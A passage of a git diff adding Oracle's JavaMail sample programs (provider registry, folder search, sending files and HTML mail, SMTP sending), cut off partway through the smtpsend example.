message from src to dst. If dontPreserveFlags is set + * we first copy the messages to memory, clear all the flags, + * and then copy to the destination. + */ + private static void copyMessages(Folder src, Folder dst) + throws MessagingException { + Message[] msgs = src.getMessages(); + if (dontPreserveFlags) { + for (int i = 0; i < msgs.length; i++) { + MimeMessage m = new MimeMessage((MimeMessage)msgs[i]); + m.setFlags(m.getFlags(), false); + msgs[i] = m; + } + } + if (warn) { + // have to copy messages one at a time + for (int i = 0; i < msgs.length; i++) { + try { + src.copyMessages(new Message[] { msgs[i] }, dst); + } catch (MessagingException mex) { + System.out.println("WARNING: Copy of message " + (i + 1) + + " from " + src.getFullName() + + " to " + dst.getFullName() + + " failed: " + mex.toString()); + } + } + } else + src.copyMessages(msgs, dst); + } + + private static void printUsage() { + System.out.println("populate [-D] [-f] [-S] [-c] " + + "-s source_url -d dest_url"); + System.out.println("URLs are of the form: " + + "protocol://username:password@hostname/foldername"); + System.out.println("The destination URL does not need a foldername," + + " in which case, the source foldername is used"); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/registry.java b/src/Java/Jars/javamail-samples/javamail-samples/registry.java new file mode 100644 index 0000000..0578c9e --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/registry.java @@ -0,0 +1,172 @@ +/* + * Copyright (c) 1997-2013 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; + +import javax.mail.*; +import javax.mail.internet.*; + +/** + * This class demonstrates how to query the registry for available + * Providers, set default providers, etc. See section 5.2 in the + * JavaMail Spec for details on how to use the registry. + * + * See the comments inline for what's happening. + * + * @author Max Spivak + */ + +public class registry { + // let's remember a few providers + static Provider _aProvider, _bProvider, _sunSMTP, _sunIMAP; + + public static void main(String[] args) { + Properties props = new Properties(); + + // set smtp and imap to be our default + // transport and store protocols, respectively + props.put("mail.transport.protocol", "smtp"); + props.put("mail.store.protocol", "imap"); + + // + props.put("mail.smtp.class", "com.sun.mail.smtp.SMTPTransport"); + props.put("mail.imap.class", "com.sun.mail.imap.IMAPStore"); + + Session session = Session.getInstance(props, null); + //session.setDebug(true); + + // Retrieve all configured providers from the Session + System.out.println("\n------ getProviders()----------"); + Provider[] providers = session.getProviders(); + for (int i = 0; i < providers.length; i++) { + System.out.println("** " + providers[i]); + + // let's remember some providers so that we can use them later + // (I'm explicitly showing multiple ways of testing Providers) + // BTW, no Provider "ACME Corp" will be found in the default + // setup b/c its not in any javamail.providers resource files + String s = null; + if (((s = providers[i].getVendor()) != null) && + s.startsWith("ACME Corp")) { + _aProvider = providers[i]; + } + + // this Provider won't be found by default either + if (providers[i].getClassName().endsWith("application.smtp")) + _bProvider = providers[i]; + + // this Provider will be found since com.sun.mail.imap.IMAPStore + // is configured in javamail.default.providers + if (providers[i].getClassName().equals("com.sun.mail.imap.IMAPStore")){ + _sunIMAP = providers[i]; + } + + // this Provider will be found as well since there is an + // Oracle SMTP transport configured by + // default in javamail.default.providers + if (((s = providers[i].getVendor()) != null) && + s.startsWith("Oracle") && + providers[i].getType() == Provider.Type.TRANSPORT && + providers[i].getProtocol().equalsIgnoreCase("smtp")) { + _sunSMTP = providers[i]; + } + } + + System.out.println("\n------ initial protocol defaults -------"); + try { + System.out.println("imap: " + session.getProvider("imap")); + System.out.println("smtp: " + session.getProvider("smtp")); + // the NNTP provider will fail since we don't have one configured + System.out.println("nntp: " + session.getProvider("nntp")); + } catch (NoSuchProviderException mex) { + System.out.println(">> This exception is OK since there is no NNTP Provider configured by default"); + mex.printStackTrace(); + } + + System.out.println("\n------ set new protocol defaults ------"); + // set some new defaults + try { + // since _aProvider isn't configured, this will fail + session.setProvider(_aProvider); // will fail + } catch (NoSuchProviderException mex) { + System.out.println(">> Exception expected: _aProvider is null"); + mex.printStackTrace(); + } + try { + // _sunIMAP provider should've configured correctly; should work + session.setProvider(_sunIMAP); + } catch (NoSuchProviderException mex) { mex.printStackTrace(); } + try { + System.out.println("imap: " + session.getProvider("imap")); + System.out.println("smtp: " + session.getProvider("smtp")); + } catch (NoSuchProviderException mex) { mex.printStackTrace(); } + + + System.out.println("\n\n----- get some stores ---------"); + // multiple ways to retrieve stores. these will print out the + // string "imap:" since its the URLName for the store + try { + System.out.println("getStore(): " + session.getStore()); + System.out.println("getStore(Provider): " + + session.getStore(_sunIMAP)); + } catch (NoSuchProviderException mex) { + mex.printStackTrace(); + } + + try { + System.out.println("getStore(imap): " + session.getStore("imap")); + // pop3 will fail since it doesn't exist + System.out.println("getStore(pop3): " + session.getStore("pop3")); + } catch (NoSuchProviderException mex) { + System.out.println(">> Exception expected: no pop3 provider"); + mex.printStackTrace(); + } + + + System.out.println("\n\n----- now for transports/addresses ---------"); + // retrieve transports; these will print out "smtp:" (like stores did) + try { + System.out.println("getTransport(): " + session.getTransport()); + System.out.println("getTransport(Provider): " + + session.getTransport(_sunSMTP)); + System.out.println("getTransport(smtp): " + + session.getTransport("smtp")); + System.out.println("getTransport(Address): " + + session.getTransport(new InternetAddress("mspivak@apilon"))); + // News will fail since there's no news provider configured + System.out.println("getTransport(News): " + + session.getTransport(new NewsAddress("rec.humor"))); + } catch (MessagingException mex) { + System.out.println(">> Exception expected: no news provider configured"); + mex.printStackTrace(); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/search.java b/src/Java/Jars/javamail-samples/javamail-samples/search.java new file mode 100644 index 0000000..9be8a7b --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/search.java @@ -0,0 +1,322 @@ +/* + * Copyright (c) 1997-2013 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.mail.search.*; +import javax.activation.*; + +/* + * Search the given folder for messages matching the given + * criteria. + * + * @author John Mani + */ + +public class search { + + static String protocol = "imap"; + static String host = null; + static String user = null; + static String password = null; + static String mbox = "INBOX"; + static String url = null; + static boolean debug = false; + + public static void main(String argv[]) { + int optind; + + String subject = null; + String from = null; + boolean or = false; + boolean today = false; + int size = -1; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-or")) { + or = true; + } else if (argv[optind].equals("-D")) { + debug = true; + } else if (argv[optind].equals("-f")) { + mbox = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-subject")) { + subject = argv[++optind]; + } else if (argv[optind].equals("-from")) { + from = argv[++optind]; + } else if (argv[optind].equals("-today")) { + today = true; + } else if (argv[optind].equals("-size")) { + size = Integer.parseInt(argv[++optind]); + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( + "Usage: search [-D] [-L url] [-T protocol] [-H host] " + + "[-U user] [-P password] [-f mailbox] " + + "[-subject subject] [-from from] [-or] [-today]"); + System.exit(1); + } else { + break; + } + } + + try { + + if ((subject == null) && (from == null) && !today && size < 0) { + System.out.println( + "Specify either -subject, -from, -today, or -size"); + System.exit(1); + } + + // Get a Properties object + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + + // Open the Folder + + Folder folder = store.getDefaultFolder(); + if (folder == null) { + System.out.println("Cant find default namespace"); + System.exit(1); + } + + folder = folder.getFolder(mbox); + if (folder == null) { + System.out.println("Invalid folder"); + System.exit(1); + } + + folder.open(Folder.READ_ONLY); + SearchTerm term = null; + + if (subject != null) + term = new SubjectTerm(subject); + if (from != null) { + FromStringTerm fromTerm = new FromStringTerm(from); + if (term != null) { + if (or) + term = new OrTerm(term, fromTerm); + else + term = new AndTerm(term, fromTerm); + } + else + term = fromTerm; + } + if (today) { + Calendar c = Calendar.getInstance(); + c.set(Calendar.HOUR, 0); + c.set(Calendar.MINUTE, 0); + c.set(Calendar.SECOND, 0); + c.set(Calendar.MILLISECOND, 0); + c.set(Calendar.AM_PM, Calendar.AM); + ReceivedDateTerm startDateTerm = + new ReceivedDateTerm(ComparisonTerm.GE, c.getTime()); + c.add(Calendar.DATE, 1); // next day + ReceivedDateTerm endDateTerm = + new ReceivedDateTerm(ComparisonTerm.LT, c.getTime()); + SearchTerm dateTerm = new AndTerm(startDateTerm, endDateTerm); + if (term != null) { + if (or) + term = new OrTerm(term, dateTerm); + else + term = new AndTerm(term, dateTerm); + } + else + term = dateTerm; + } + + if (size >= 0) { + SizeTerm sizeTerm = new SizeTerm(ComparisonTerm.GT, size); + if (term != null) { + if (or) + term = new OrTerm(term, sizeTerm); + else + term = new AndTerm(term, sizeTerm); + } + else + term = sizeTerm; + } + + Message[] msgs = folder.search(term); + System.out.println("FOUND " + msgs.length + " MESSAGES"); + if (msgs.length == 0) // no match + System.exit(1); + + // Use a suitable FetchProfile + FetchProfile fp = new FetchProfile(); + fp.add(FetchProfile.Item.ENVELOPE); + folder.fetch(msgs, fp); + + for (int i = 0; i < msgs.length; i++) { + System.out.println("--------------------------"); + System.out.println("MESSAGE #" + (i + 1) + ":"); + dumpPart(msgs[i]); + } + + folder.close(false); + store.close(); + } catch (Exception ex) { + System.out.println("Oops, got exception! " + ex.getMessage()); + ex.printStackTrace(); + } + + System.exit(1); + } + + public static void dumpPart(Part p) throws Exception { + if (p instanceof Message) { + Message m = (Message)p; + Address[] a; + // FROM + if ((a = m.getFrom()) != null) { + for (int j = 0; j < a.length; j++) + System.out.println("FROM: " + a[j].toString()); + } + + // TO + if ((a = m.getRecipients(Message.RecipientType.TO)) != null) { + for (int j = 0; j < a.length; j++) + System.out.println("TO: " + a[j].toString()); + } + + // SUBJECT + System.out.println("SUBJECT: " + m.getSubject()); + + // DATE + Date d = m.getSentDate(); + System.out.println("SendDate: " + + (d != null ? d.toLocaleString() : "UNKNOWN")); + + // FLAGS: + Flags flags = m.getFlags(); + StringBuffer sb = new StringBuffer(); + Flags.Flag[] sf = flags.getSystemFlags(); // get the system flags + + boolean first = true; + for (int i = 0; i < sf.length; i++) { + String s; + Flags.Flag f = sf[i]; + if (f == Flags.Flag.ANSWERED) + s = "\\Answered"; + else if (f == Flags.Flag.DELETED) + s = "\\Deleted"; + else if (f == Flags.Flag.DRAFT) + s = "\\Draft"; + else if (f == Flags.Flag.FLAGGED) + s = "\\Flagged"; + else if (f == Flags.Flag.RECENT) + s = "\\Recent"; + else if (f == Flags.Flag.SEEN) + s = "\\Seen"; + else + continue; // skip it + if (first) + first = false; + else + sb.append(' '); + sb.append(s); + } + + String[] uf = flags.getUserFlags(); // get the user flag strings + for (int i = 0; i < uf.length; i++) { + if (first) + first = false; + else + sb.append(' '); + sb.append(uf[i]); + } + System.out.println("FLAGS = " + sb.toString()); + } + + System.out.println("CONTENT-TYPE: " + p.getContentType()); + + /* Dump input stream + InputStream is = ((MimeMessage)m).getInputStream(); + int c; + while ((c = is.read()) != -1) + System.out.write(c); + */ + + Object o = p.getContent(); + if (o instanceof String) { + System.out.println("This is a String"); + System.out.println((String)o); + } else if (o instanceof Multipart) { + System.out.println("This is a Multipart"); + Multipart mp = (Multipart)o; + int count = mp.getCount(); + for (int i = 0; i < count; i++) + dumpPart(mp.getBodyPart(i)); + } else if (o instanceof InputStream) { + System.out.println("This is just an input stream"); + InputStream is = (InputStream)o; + int c; + while ((c = is.read()) != -1) + System.out.write(c); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/sendfile.java b/src/Java/Jars/javamail-samples/javamail-samples/sendfile.java new file mode 100644 index 0000000..7ab3ccd --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/sendfile.java @@ -0,0 +1,142 @@ +/* + * Copyright (c) 1996-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.activation.*; + +/** + * sendfile will create a multipart message with the second + * block of the message being the given file.

+ * + * This demonstrates how to use the FileDataSource to send + * a file via mail.

+ * + * usage: java sendfile to from smtp file true|false + * where to and from are the destination and + * origin email addresses, respectively, and smtp + * is the hostname of the machine that has smtp server + * running. file is the file to send. The next parameter + * either turns on or turns off debugging during sending. + * + * @author Christopher Cotton + */ +public class sendfile { + + public static void main(String[] args) { + if (args.length != 5) { + System.out.println("usage: java sendfile true|false"); + System.exit(1); + } + + String to = args[0]; + String from = args[1]; + String host = args[2]; + String filename = args[3]; + boolean debug = Boolean.valueOf(args[4]).booleanValue(); + String msgText1 = "Sending a file.\n"; + String subject = "Sending a file"; + + // create some properties and get the default Session + Properties props = System.getProperties(); + props.put("mail.smtp.host", host); + + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + try { + // create a message + MimeMessage msg = new MimeMessage(session); + msg.setFrom(new InternetAddress(from)); + InternetAddress[] address = {new InternetAddress(to)}; + msg.setRecipients(Message.RecipientType.TO, address); + msg.setSubject(subject); + + // create and fill the first message part + MimeBodyPart mbp1 = new MimeBodyPart(); + mbp1.setText(msgText1); + + // create the second message part + MimeBodyPart mbp2 = new MimeBodyPart(); + + // attach the file to the message + mbp2.attachFile(filename); + + /* + * Use the following approach instead of the above line if + * you want to control the MIME type of the attached file. + * Normally you should never need to do this. + * + FileDataSource fds = new FileDataSource(filename) { + public String getContentType() { + return "application/octet-stream"; + } + }; + mbp2.setDataHandler(new DataHandler(fds)); + mbp2.setFileName(fds.getName()); + */ + + // create the Multipart and add its parts to it + Multipart mp = new MimeMultipart(); + mp.addBodyPart(mbp1); + mp.addBodyPart(mbp2); + + // add the Multipart to the message + msg.setContent(mp); + + // set the Date: header + msg.setSentDate(new Date()); + + /* + * If you want to control the Content-Transfer-Encoding + * of the attached file, do the following. Normally you + * should never need to do this. + * + msg.saveChanges(); + mbp2.setHeader("Content-Transfer-Encoding", "base64"); + */ + + // send the message + Transport.send(msg); + + } catch (MessagingException mex) { + mex.printStackTrace(); + Exception ex = null; + if ((ex = mex.getNextException()) != null) { + ex.printStackTrace(); + } + } catch (IOException ioex) { + ioex.printStackTrace(); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/sendhtml.java b/src/Java/Jars/javamail-samples/javamail-samples/sendhtml.java new file mode 100644 index 0000000..5d67cdf --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/sendhtml.java @@ -0,0 +1,237 @@ +/* + * Copyright (c) 1998-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import java.util.Properties; +import java.util.Date; + +import javax.mail.*; +import javax.activation.*; +import javax.mail.internet.*; +import javax.mail.util.*; + +/** + * Demo app that shows how to construct and send a single part html + * message. Note that the same basic technique can be used to send + * data of any type. + * + * @author John Mani + * @author Bill Shannon + * @author Max Spivak + */ + +public class sendhtml { + + public static void main(String[] argv) { + new sendhtml(argv); + } + + public sendhtml(String[] argv) { + + String to, subject = null, from = null, + cc = null, bcc = null, url = null; + String mailhost = null; + String mailer = "sendhtml"; + String protocol = null, host = null, user = null, password = null; + String record = null; // name of folder in which to record mail + boolean debug = false; + BufferedReader in = + new BufferedReader(new InputStreamReader(System.in)); + int optind; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-M")) { + mailhost = argv[++optind]; + } else if (argv[optind].equals("-f")) { + record = argv[++optind]; + } else if (argv[optind].equals("-s")) { + subject = argv[++optind]; + } else if (argv[optind].equals("-o")) { // originator + from = argv[++optind]; + } else if (argv[optind].equals("-c")) { + cc = argv[++optind]; + } else if (argv[optind].equals("-b")) { + bcc = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-d")) { + debug = true; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: sendhtml [[-L store-url] | [-T prot] [-H host] [-U user] [-P passwd]]"); + System.out.println( +"\t[-s subject] [-o from-address] [-c cc-addresses] [-b bcc-addresses]"); + System.out.println( +"\t[-f record-mailbox] [-M transport-host] [-d] [address]"); + System.exit(1); + } else { + break; + } + } + + try { + if (optind < argv.length) { + // XXX - concatenate all remaining arguments + to = argv[optind]; + System.out.println("To: " + to); + } else { + System.out.print("To: "); + System.out.flush(); + to = in.readLine(); + } + if (subject == null) { + System.out.print("Subject: "); + System.out.flush(); + subject = in.readLine(); + } else { + System.out.println("Subject: " + subject); + } + + Properties props = System.getProperties(); + // XXX - could use Session.getTransport() and Transport.connect() + // XXX - assume we're using SMTP + if (mailhost != null) + props.put("mail.smtp.host", mailhost); + + // Get a Session object + Session session = Session.getInstance(props, null); + if (debug) + session.setDebug(true); + + // construct the message + Message msg = new MimeMessage(session); + if (from != null) + msg.setFrom(new InternetAddress(from)); + else + msg.setFrom(); + + msg.setRecipients(Message.RecipientType.TO, + InternetAddress.parse(to, false)); + if (cc != null) + msg.setRecipients(Message.RecipientType.CC, + InternetAddress.parse(cc, false)); + if (bcc != null) + msg.setRecipients(Message.RecipientType.BCC, + InternetAddress.parse(bcc, false)); + + msg.setSubject(subject); + + collect(in, msg); + + msg.setHeader("X-Mailer", mailer); + msg.setSentDate(new Date()); + + // send the thing off + Transport.send(msg); + + System.out.println("\nMail was sent successfully."); + + // Keep a copy, if requested. + + if (record != null) { + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + // Get record Folder. Create if it does not exist. + Folder folder = store.getFolder(record); + if (folder == null) { + System.err.println("Can't get record folder."); + System.exit(1); + } + if (!folder.exists()) + folder.create(Folder.HOLDS_MESSAGES); + + Message[] msgs = new Message[1]; + msgs[0] = msg; + folder.appendMessages(msgs); + + System.out.println("Mail was recorded successfully."); + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void collect(BufferedReader in, Message msg) + throws MessagingException, IOException { + String line; + String subject = msg.getSubject(); + StringBuffer sb = new StringBuffer(); + sb.append("\n"); + sb.append("\n"); + sb.append("\n"); + sb.append(subject + "\n"); + sb.append("\n"); + sb.append("\n"); + + sb.append("\n"); + sb.append("

" + subject + "

" + "\n"); + + while ((line = in.readLine()) != null) { + sb.append(line); + sb.append("\n"); + } + + sb.append("\n"); + sb.append("\n"); + + msg.setDataHandler(new DataHandler( + new ByteArrayDataSource(sb.toString(), "text/html"))); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/smtpsend.java b/src/Java/Jars/javamail-samples/javamail-samples/smtpsend.java new file mode 100644 index 0000000..b43cc52 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/smtpsend.java @@ -0,0 +1,371 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import java.net.InetAddress; +import java.util.Properties; +import java.util.Date; + +import javax.mail.*; +import javax.mail.internet.*; + +import com.sun.mail.smtp.*; + +/** + * Demo app that shows how to construct and send an RFC822 + * (singlepart) message. + * + * XXX - allow more than one recipient on the command line + * + * This is just a variant of msgsend.java that demonstrates use of + * some SMTP-specific features. + * + * @author Max Spivak + * @author Bill Shannon + */ + +public class smtpsend { + + /** + * Example of how to extend the SMTPTransport class. + * This example illustrates how to issue the XACT + * command before the SMTPTransport issues the DATA + * command. + * + public static class SMTPExtension extends SMTPTransport { + public SMTPExtension(Session session, URLName url) { + super(session, url); + // to check that we're being used + System.out.println("SMTPExtension: constructed"); + } + + protected synchronized OutputStream data() throws MessagingException { + if (supportsExtension("XACCOUNTING")) + issueCommand("XACT", 250); + return super.data(); + } + } + */ + + public static void main(String[] argv) { + String to, subject = null, from = null, + cc = null, bcc = null, url = null; + String mailhost = null; + String mailer = "smtpsend"; + String file = null; + String protocol = null, host = null, user = null, password = null; + String record = null; // name of folder in which to record mail + boolean debug = false; + boolean verbose = false; + boolean auth = false; + String prot = "smtp"; + BufferedReader in = + new BufferedReader(new InputStreamReader(System.in)); + int optind; + + /* + * Process command line arguments. + */ + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-M")) { + mailhost = argv[++optind]; + } else if (argv[optind].equals("-f")) { + record = argv[++optind]; + } else if (argv[optind].equals("-a")) { + file = argv[++optind]; + } else if (argv[optind].equals("-s")) { + subject = argv[++optind]; + } else if (argv[optind].equals("-o")) { // originator + from = argv[++optind]; + } else if (argv[optind].equals("-c")) { + cc = argv[++optind]; + } else if (argv[optind].equals("-b")) { + bcc = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-d")) { + debug = true; + } else if (argv[optind].equals("-v")) { + verbose = true; + } else if (argv[optind].equals("-A")) { + auth = true; + } else if (argv[optind].equals("-S")) { + prot = "smtps"; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: smtpsend [[-L store-url] | [-T prot] [-H host] [-U user] [-P passwd]]"); + System.out.println( +"\t[-s subject] [-o from-address] [-c cc-addresses] [-b bcc-addresses]"); + System.out.println( +"\t[-f record-mailbox] [-M transport-host] [-d] [-a attach-file]"); + System.out.println( +"\t[-v] [-A] [-S] [address]"); + System.exit(1); + } else { + break; + } + } + + try { + /* + * Prompt for To and Subject, if not specified. + */ + if (optind < argv.length) { + // XXX - concatenate all remaining arguments + to = argv[optind]; + System.out.println("To: " + to); + } else { + System.out.print("To: "); + System.out.flush(); + to = in.readLine(); + } + if (subject == null) { + System.out.print("Subject: "); + 